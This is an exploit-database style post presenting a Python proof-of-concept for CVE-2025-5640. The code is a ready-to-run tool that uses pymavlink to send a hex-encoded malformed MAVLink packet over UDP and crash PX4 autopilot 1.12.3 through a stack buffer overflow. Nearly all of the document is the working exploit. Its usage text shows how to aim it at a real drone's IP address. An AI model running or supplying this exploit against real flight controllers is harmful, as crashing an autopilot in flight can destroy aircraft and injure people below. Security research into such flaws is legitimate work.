PX4 Military UAV Autopilot 1.12.3 – Denial of Service (DoS)

• CVE-2025-5640

Exploit Title: PX4 Military UAV Autopilot 1.12.3 – Denial of Service (DoS) Author:…

# Exploit Title: PX4 Military UAV Autopilot 1.12.3 – Denial of Service (DoS)

# Author: Mohammed Idrees Banyamer (@banyamer_security)

# GitHub: https://github.com/mbanyamer

# Date: 2025-06-21

# Tested on: Ubuntu 20.04 LTS + PX4 SITL (jMAVSim)

# CVE: CVE-2025-5640

# Type: Denial of Service (DoS) via Buffer Overflow

# Platform: Cross-platform (Military UAVs / PX4 SITL / Linux-based autopilot ground station)

# Author Country: Jordan

# Description:

# A stack-based buffer overflow vulnerability in PX4 Military UAV Autopilot <=1.12.3 is triggered
# when handling a malformed MAVLink message of type TRAJECTORY_REPRESENTATION_WAYPOINTS.

# An attacker with access to the MAVLink communication channel can send a crafted packet

# to crash the autopilot, potentially disrupting military UAV operations. This exploit demonstrates

# a proof-of-concept that causes the PX4 autopilot to crash via UDP.

import argparse

import binascii

from pymavlink import mavutil

import sys

# Exploit payload (malformed MAVLink hex)

hex_payload = (

“fdef0000dcea6f4c01006de9d06a0548182a1fcc8b7cc542eb8945a54baa92ee908db9af0195bb5dce5f9ab613be912485d34e577c352”

“c5cdc06592484be1aecd64a07127bda31fc8f41f300a9e4a0eab80d8835f106924f0b89ece3e256dda30e3001f07df4e1633e6f827b78”

“12731dbc3daf1e81fc06cea4d9c8c1525fb955d3eddd7454b54bb740bcd87b00063bd9111d4fb4149658d4ccd92974c97c7158189a8d6”

)

def connect_to_px4(ip, port, timeout, verbose=False):

try:

if verbose:

print(f”[*] Connecting to PX4 at udp:{ip}:{port} …”)

master = mavutil.mavlink_connection(f”udp:{ip}:{port}”)

master.wait_heartbeat(timeout=timeout)

if verbose:

print(“[+] PX4 heartbeat received. Connection OK.”)

return master

except Exception as e:

print(f”[!] Error connecting to PX4: {e}”)

sys.exit(1)

def send_dos_packet(master, verbose=False):

try:

payload = binascii.unhexlify(hex_payload)

master.write(payload)

print(“[+] Exploit packet sent. Monitor PX4 for crash.”)

except Exception as e:

print(f”[!] Failed to send payload: {e}”)

sys.exit(1)

def main():

usage = “””

PX4 Exploit Tool – CVE-2025-5640

=================================

Exploit a buffer overflow vulnerability in PX4 autopilot via MAVLink.

USAGE:

python3 px4_exploit_tool.py [OPTIONS]

EXAMPLES:

# Run DoS attack on default PX4 SITL

python3 px4_exploit_tool.py –mode dos

# Test connectivity to a real drone

python3 px4_exploit_tool.py –mode check –ip 192.168.10.10 –port 14550

OPTIONS:

–ip Target IP address (default: 127.0.0.1)

–port Target UDP port (default: 14540)

–mode Mode of operation: dos (default), check

–timeout Timeout in seconds for heartbeat (default: 5)

–verbose Enable verbose output

“””

parser = argparse.ArgumentParser(

description=”PX4 MAVLink DoS Exploit Tool (CVE-2025-5640) by @banyamer_security”,

epilog=usage,

formatter_class=argparse.RawDescriptionHelpFormatter

)

parser.add_argument(“–ip”, default=”127.0.0.1″, help=”Target IP address (default: 127.0.0.1)”)

parser.add_argument(“–port”, type=int, default=14540, help=”Target UDP port (default: 14540)”)

parser.add_argument(“–timeout”, type=int, default=5, help=”Timeout in seconds for heartbeat (default: 5)”)

parser.add_argument(“–mode”, choices=[“dos”, “check”], default=”dos”, help=”Mode: dos (default) or check connection”)

parser.add_argument(“–verbose”, action=”store_true”, help=”Enable verbose output”)

args = parser.parse_args()

master = connect_to_px4(args.ip, args.port, args.timeout, args.verbose)

if args.mode == “check”:

print(“[*] PX4 is alive. Connection test passed.”)

elif args.mode == “dos”:

send_dos_packet(master, args.verbose)

if __name__ == “__main__”:

main()